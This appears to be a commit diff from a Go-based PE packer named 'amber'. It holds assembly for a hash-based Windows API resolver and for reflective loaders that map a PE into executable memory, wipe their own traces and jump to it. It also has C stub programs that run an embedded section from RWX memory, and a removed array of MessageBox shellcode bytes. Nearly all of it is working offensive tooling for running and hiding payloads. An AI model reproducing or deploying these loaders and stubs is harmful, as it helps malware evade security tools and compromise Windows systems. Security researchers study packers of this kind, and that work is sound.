sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; Push back the return address
mov rax,[rax] ; Get the address of the desired API
jmp rax ; Jump to target function
; We now automagically return to the correct caller...
not_found:
add rsp,0x48 ; Clean out the stack
ret ; Return to caller
`
+90
View File
@@ -0,0 +1,90 @@
package amber
// IAT32 https://github.com/EgeBalci/IAT_API
const IAT32 = `
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx,fs:[eax+0x30] ; Get a pointer to the PEB
mov edx,[edx+0x0C] ; Get PEB->Ldr
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
mov edx,[edx+0x10] ; Get this modules base address
push edx ; Save the image base to stack (will use this alot)
add edx,[edx+0x3C] ; "PE" Header
mov edx,[edx+0x80] ; Import table RVA
add edx,[esp] ; Address of Import Table
push edx ; Save the &IT to stack (will use this alot)
mov esi,[esp+4] ; Move the image base to ESI
sub esp,0x08 ; Allocate space for import descriptor counter & hash
sub edx,0x14 ; Prepare the import descriptor pointer for processing
next_desc:
add edx,0x14 ; Get the next import descriptor
cmp dword [edx],0x00 ; Check if import descriptor valid
jz not_found ; If import name array RVA is zero finish parsing
mov esi,[esp+0x08] ; Move the import table address to esi
mov si,[edx+0x0C] ; Get pointer to module name string RVA
xor edi,edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al,'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 edi,al ; Calculate CRC32 of module name
crc32 edi,ah ; Add NULL for unicode effect
test al,al ; Check if we read all
jnz loop_modname
; We now have the module hash computed
mov [esp+4],edx ; Save the current position in the module list for later
mov [esp],edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov ecx,[edx] ; Get the RVA of import names table
add ecx,[esp+0x0C] ; Add image base and get address of import names table
sub ecx,0x04 ; Go 4 byte back
get_next_func:
mov edi,dword [esp]
; use ecx as our EAT pointer here so we can take advantage of jecxz.
add ecx,0x04 ; 4 byte forward
cmp dword [ecx],0x00 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,[ecx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not, there is no function name string :(
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
add dword esi,0x02 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32 of function name
test al,al ; Check if AL == 0
jnz loop_funcname ; If we have not reached the null terminator, continue
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
mov edx,[edx] ; Get the import names table RVA of current import descriptor
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
sub ecx,edx ; Find the function array index ?
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
add eax,ecx ; Add the function index
; Now we clean the stack
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ebx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ebx ; Push back the return address
mov eax,[eax] ; Get the address of the desired API
jmp eax ; Jump to target function
; We now automagically return to the correct caller...
not_found:
add esp,0x0F ; Fix the stack
popad ; Restore all registers
ret ; Return
`
+160
View File
@@ -0,0 +1,160 @@
package amber
// LoaderX64 contains the 64 bit PE loader for relocatable PE files
const LoaderX64 = `
start:
pop rsi ; Get the address of image to rsi
call get_ip ; Push the current EIP to stack
get_ip:
cld ; Clear direction flags
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
mov rdx,[rsp] ; dwSize
xor rcx,rcx ; lpAddress
xchg rsp,rbp ; Swap shadow stack
mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
xchg rsp,rbp ; Swap shadow stack
mov rdi,rax ; Save the new base address to rdi
xor rax,rax ; Zero out the RAX
xor r8,r8 ; Zero out the R8
xor r13,r13 ; Zero out the R13
xor r14,r14 ; Zero out the R14
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
add rax,rsi ; Base relocation table memory address
add rcx,rax ; End of base relocation table
calc_delta:
mov rdx,rdi ; Move the new base address to rdx
sub rdx,rbx ; Delta value
mov r13d,dword [rax] ; Move the reloc RVA to R13D
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
add rax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp rcx,rax ; Check if the end of the reloc section
jle reloc_fin ; If yes goto fin
mov r13d,dword [rax] ; Move the new reloc RVA
mov r14d,dword [rax+4] ; Move the new reloc table size
add rax,8 ; Move 8 bytes
fix:
cmp r14w,8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov r8w,word [rax] ; Move the reloc desc to r8w
cmp r8w,0 ; Check if it is a padding word
je pass ; Pass padding bytes
and r8w,0x0FFF ; Get the last 12 bits
add r8d,r13d ; Add block RVA to desc value
add r8,rsi ; Add the start address of the image
add [r8],rdx ; Add the delta value to calculated absolute address
pass:
sub r14d,2 ; Decrease the index
add rax,2 ; Move to the next reloc desc.
xor r8,r8 ; Zero out r8
jmp fix ; Loop
reloc_fin: ; All done !
xor r14,r14 ; Zero out r14
xor r15,r15 ; Zero out r15
xor rcx,rcx ; Zero out rcx
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to eax
jmp get_modules ; Get other modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to eax
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA")
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress")
call api_call ; GetProcAddress(ebx,[esp+4])
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rcx ; Pop the ImageSize into RCX
push rdi ; Save ImageBase to stack
mov r13,rdi ; Copy the new base value to r13
add r13,r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov byte [rdi],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rdi ; Increase image base index
loop memcpy ; Loop until zero
pop r13 ; Pop the image base to r13
or rcx,-1 ; hProcess
xor rdx,rdx ; lpBaseAddress
xor r8,r8 ; hProcess
xchg rbp,rsp ; Swap shadow stack
mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache")
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
xchg rbp,rsp ; Swap shadow stack
add r13,r12 ; Add the address of entry value to image base
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
%s
jmp r13 ; Call the AOE
`
+159
View File
@@ -0,0 +1,159 @@
package amber
// LoaderX86 contains the 32 bit PE loader for relocatable PE files
const LoaderX86 = `
start:
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call get_ip ; Push the current EIP to stack
get_ip:
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push 0x40 ; PAGE_EXECUTE_READ_WRITE
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
push dword [esp+0xC] ; dwSize
push 0 ; lpAddress
push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
push eax ; Save the new image base to stack
xor edx,edx ; Zero out the edx
relocate:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,[eax+esi+0xA4] ; Base relocation table size
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
add eax,esi ; Base relocation table memory address
add ecx,eax ; End of base relocation table
calc_delta:
mov edi,[esp] ; Move the new base address to EDI
sub edi,ebx ; Delta value
push dword [eax] ; Reloc RVA
push dword [eax+4] ; Reloc table size
add eax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp ecx,eax ; Check if the end of the reloc section ?
jle reloc_fin ; If yes goto fin
add esp,8 ; Deallocate old reloc RVA and reloc table size variables
push dword [eax] ; Push new reloc RVA
push dword [eax+4] ; Push new reloc table size
add eax,8 ; Move 8 bytes
fix:
cmp word [esp],8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov dx,word [eax] ; Move the reloc desc to dx
cmp dx,0 ; Check if it is a padding word
je pass
and dx,0x0FFF ; Get the last 12 bits
add edx,[esp+4] ; Add block RVA to desc value
add edx,esi ; Add the start address of the image
add dword [edx],edi ; Add the delta value to calculated absolute address
pass:
sub dword [esp],2 ; Decrease the index
add eax,2 ; Move to the next reloc desc.
xor edx,edx ; Zero out edx
jmp fix ; Loop
reloc_fin:
pop eax ; Deallocate all vars
pop eax ; ...
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],4 ; Increase the import names table index
add dword [esp+4],4 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
%s
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
call edi ; Call the AOE
`
File diff suppressed because one or more lines are too long
+4 -4
View File
@@ -1,10 +1,10 @@
normal: normal:
i686-w64-mingw32-windres Resource.rc -o res32.o i686-w64-mingw32-windres Resource.rc -o res.o
i686-w64-mingw32-g++-win32 -static-libgcc -static-libstdc++ -c stub32.c -o stub32.o i686-w64-mingw32-g++-win32 -c stub.c -o stub.o
i686-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub32.o res32.o -o stub32.exe i686-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub.o res.o -o stub32.exe
i686-w64-mingw32-strip stub32.exe i686-w64-mingw32-strip stub32.exe
x86_64-w64-mingw32-windres Resource.rc -o res.o x86_64-w64-mingw32-windres Resource.rc -o res.o
x86_64-w64-mingw32-g++-win32 -static-libgcc -static-libstdc++ -c stub.c -o stub.o x86_64-w64-mingw32-g++-win32 -c stub.c -o stub.o
x86_64-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub.o res.o -o stub.exe x86_64-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub.o res.o -o stub.exe
x86_64-w64-mingw32-strip stub.exe x86_64-w64-mingw32-strip stub.exe
rm *.o rm *.o
BIN
View File
Binary file not shown.
-58
View File
@@ -1,58 +0,0 @@
__attribute__((section(".shlcode")))
#if defined _WIN64 || __MINGW64__
unsigned char shellcode[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
0x00, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x00, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
0x85, 0x0f, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x66, 0x72,
0x6f, 0x6d, 0x20, 0x4d, 0x53, 0x46, 0x21, 0x00, 0x4d, 0x65, 0x73, 0x73,
0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x00
};
#else
unsigned char shellcode[] = {
0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31,
0xc9, 0x64, 0x8b, 0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b,
0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b, 0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3,
0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24, 0x24, 0x8b, 0x45,
0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31,
0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c, 0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a,
0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a, 0x1c, 0x01, 0xeb,
0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec,
0x52, 0xe8, 0x9f, 0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8,
0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89,
0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33, 0x32, 0x2e, 0x64,
0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d,
0xbc, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x6f,
0x78, 0x58, 0x20, 0x68, 0x61, 0x67, 0x65, 0x42, 0x68, 0x4d, 0x65, 0x73,
0x73, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89, 0xe3, 0x68, 0x58, 0x20,
0x20, 0x20, 0x68, 0x4d, 0x53, 0x46, 0x21, 0x68, 0x72, 0x6f, 0x6d, 0x20,
0x68, 0x6f, 0x2c, 0x20, 0x66, 0x68, 0x48, 0x65, 0x6c, 0x6c, 0x31, 0xc9,
0x88, 0x4c, 0x24, 0x10, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52,
0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff, 0x55, 0x08
};
#endif
-2
View File
@@ -1,2 +0,0 @@
Ùë›Ùt$ô1Ò²w1Édq0v ‹vF~ 68OuóYÑÿá`l$$E<T(xê‹JZ ëã4I‹4‹î1ÿ1Àü¬„ÀtÁÏ
Çëô;|$(uá‹Z$ëf‹ K‹Zë‹è‰D$aò)Ô‰å‰ÂhŽNìRèŸÿÿÿ‰E»~Øâs‡$RèŽÿÿÿ‰Ehll Ah32.dhuser0Ûˆ\$
+17 -18
View File
@@ -3,38 +3,37 @@
int main(int argc, char const *argv[]) int main(int argc, char const *argv[])
{ {
LoadLibrary("USER32.dll"); // Just for the imports
PIMAGE_DOS_HEADER dosHeader = {}; HMODULE k32 = LoadLibrary("USER32.dll");
PIMAGE_SECTION_HEADER sectionHeader = {}; GetProcAddress(k32, "VirtualAlloc");
PIMAGE_NT_HEADERS64 imageNTHeaders = {};
// Get module handle
LPVOID moduleHandle = GetModuleHandle(NULL); LPVOID moduleHandle = GetModuleHandle(NULL);
if (moduleHandle == NULL) if (moduleHandle == NULL)
{
return 1; return 1;
}
PIMAGE_DOS_HEADER dosHeader = {};
PIMAGE_SECTION_HEADER sectionHeader = {};
dosHeader = (PIMAGE_DOS_HEADER)moduleHandle; dosHeader = (PIMAGE_DOS_HEADER)moduleHandle;
#if defined(__MINGW64__) || defined(_WIN64)
PIMAGE_NT_HEADERS64 imageNTHeaders = {};
imageNTHeaders = (PIMAGE_NT_HEADERS64)(moduleHandle + dosHeader->e_lfanew); imageNTHeaders = (PIMAGE_NT_HEADERS64)(moduleHandle + dosHeader->e_lfanew);
__int64 sectionLocation = (__int64)((__int64)(&imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader); __int64 sectionLocation = (__int64)((__int64)(&imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader);
DWORD sectionSize = (DWORD)sizeof(IMAGE_SECTION_HEADER); FlushInstructionCache(moduleHandle, NULL, NULL);
#else
PIMAGE_NT_HEADERS imageNTHeaders = {};
imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)moduleHandle + dosHeader->e_lfanew);
DWORD sectionLocation = (DWORD) & (imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader;
#endif
DWORD sectionSize = (DWORD)sizeof(IMAGE_SECTION_HEADER);
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++) for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
{ {
sectionHeader = (PIMAGE_SECTION_HEADER)sectionLocation; sectionHeader = (PIMAGE_SECTION_HEADER)sectionLocation;
// printf("[#] %s\n", sectionHeader->Name);
// printf("-> 0x%x Virtual Size\n", sectionHeader->Misc.VirtualSize);
// printf("-> 0x%x Virtual Address\n", sectionHeader->VirtualAddress);
// printf("-> 0x%x Size Of Raw Data\n", sectionHeader->SizeOfRawData);
// printf("-> 0x%x Pointer To Raw Data\n", sectionHeader->PointerToRawData);
// printf("-> 0x%x Pointer To Relocations\n", sectionHeader->PointerToRelocations);
// printf("-> 0x%x Pointer To Line Numbers\n", sectionHeader->PointerToLinenumbers);
// printf("-> 0x%x Number Of Relocations\n", sectionHeader->NumberOfRelocations);
// printf("-> 0x%x Number Of Line Numbers\n", sectionHeader->NumberOfLinenumbers);
// printf("-> 0x%x Characteristics\n", sectionHeader->Characteristics);
sectionLocation += sectionSize; sectionLocation += sectionSize;
} }
// Execute last section data
unsigned char *buffer = (unsigned char *)VirtualAlloc(NULL, sectionHeader->SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE); unsigned char *buffer = (unsigned char *)VirtualAlloc(NULL, sectionHeader->SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy((void *)buffer, (void *)(sectionHeader->VirtualAddress + imageNTHeaders->OptionalHeader.ImageBase), sectionHeader->SizeOfRawData); memcpy((void *)buffer, (void *)(sectionHeader->VirtualAddress + imageNTHeaders->OptionalHeader.ImageBase), sectionHeader->SizeOfRawData);
(*(void (*)())buffer)(); (*(void (*)())buffer)();
-39
View File
@@ -1,39 +0,0 @@
#include <windows.h>
int main(int argc, char const *argv[])
{
PIMAGE_DOS_HEADER dosHeader = {};
PIMAGE_SECTION_HEADER sectionHeader = {};
PIMAGE_NT_HEADERS imageNTHeaders = {};
LPVOID moduleHandle = GetModuleHandle(NULL);
if (moduleHandle == NULL)
return 1;
dosHeader = (PIMAGE_DOS_HEADER)moduleHandle;
imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)moduleHandle + dosHeader->e_lfanew);
DWORD sectionLocation = (DWORD) & (imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader;
DWORD sectionSize = (DWORD)sizeof(IMAGE_SECTION_HEADER);
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
{
sectionHeader = (PIMAGE_SECTION_HEADER)sectionLocation;
// printf("[#] %s\n", sectionHeader->Name);
// printf("-> 0x%x Virtual Size\n", sectionHeader->Misc.VirtualSize);
// printf("-> 0x%x Virtual Address\n", sectionHeader->VirtualAddress);
// printf("-> 0x%x Size Of Raw Data\n", sectionHeader->SizeOfRawData);
// printf("-> 0x%x Pointer To Raw Data\n", sectionHeader->PointerToRawData);
// printf("-> 0x%x Pointer To Relocations\n", sectionHeader->PointerToRelocations);
// printf("-> 0x%x Pointer To Line Numbers\n", sectionHeader->PointerToLinenumbers);
// printf("-> 0x%x Number Of Relocations\n", sectionHeader->NumberOfRelocations);
// printf("-> 0x%x Number Of Line Numbers\n", sectionHeader->NumberOfLinenumbers);
// printf("-> 0x%x Characteristics\n", sectionHeader->Characteristics);
sectionLocation += sectionSize;
}
unsigned char *buffer = (unsigned char *)VirtualAlloc(NULL, sectionHeader->SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy((void *)buffer, (void *)(sectionHeader->VirtualAddress + imageNTHeaders->OptionalHeader.ImageBase), sectionHeader->SizeOfRawData);
(*(void (*)())buffer)();
return 0;
}